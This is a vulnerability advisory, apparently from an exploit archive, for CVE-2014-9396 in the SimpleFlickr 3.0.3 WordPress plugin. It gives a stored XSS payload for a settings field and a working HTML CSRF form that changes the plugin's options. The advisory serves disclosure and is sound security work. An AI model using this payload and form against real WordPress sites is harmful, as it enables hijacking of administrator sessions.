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WordPress SimpleFlickr 3.0.3 CSRF / XSS

WordPress SimpleFlickr 3.0.3 CSRF / XSS
Posted Dec 18, 2014
Authored by Manideep K

WordPress SimpleFlickr plugin version 3.0.3 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2014-9396
SHA-256 | e1692774df6bebf2a54b8df21cc319a515fe14eee2bef5d0fd6e17ce23626d8b

WordPress SimpleFlickr 3.0.3 CSRF / XSS

Change Mirror Download
**************************************************************************************
# Title: CSRF / Stored XSS Vulnerability in SimpleFlickr Wordpress Plugin
# Author: Manideep K
# CVE-ID: CVE-2014-9396
# Plugin Homepage: https://wordpress.org/plugins/simpleflickr/
# Version Affected: 3.0.3 (probably lower versions)
# Severity: High

# Description:
# Vulnerable Parameter: id & parameter - simpleflickr_xmldatapath
# Vulnerability Class:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.

# Steps to Reproduce: (POC):
After installing the plugin

1. Goto settings -> SimpleFlickr
2. Insert this payload “ "><script>alert(32)</script> “ into XML configuration file path field
Update options and see XSS in action
3. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.

Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below

<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=simpleFlickr.php" method="POST">
<input type="hidden" name="frob" value="" />
<input type="hidden" name="simpleflickr_width" value="now csrf" />
<input type="hidden" name="simpleflickr_height" value="23" />
<input type="hidden" name="simpleflickr_quality" value="autohigh" />
<input type="hidden" name="simpleflickr_bgcolor" value="csrf attackkkk" />
<input type="hidden" name="simpleflickr_wmode" value="window" />
<input type="hidden" name="simpleflickr_xmldatapath" value="hi" />
<input type="hidden" name="info_update" value="Update Options »" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

# Mitigation:
Plugin Closed

# Disclosure:
2014-11-06: Author notification
2014-11-20: WP Team action taken by closing the plugin as there is no response from author
2014-12-09: Public Disclosure

# Credits:
Manideep K
Information Security Researcher
https://in.linkedin.com/in/manideepk
***************************************************************************************
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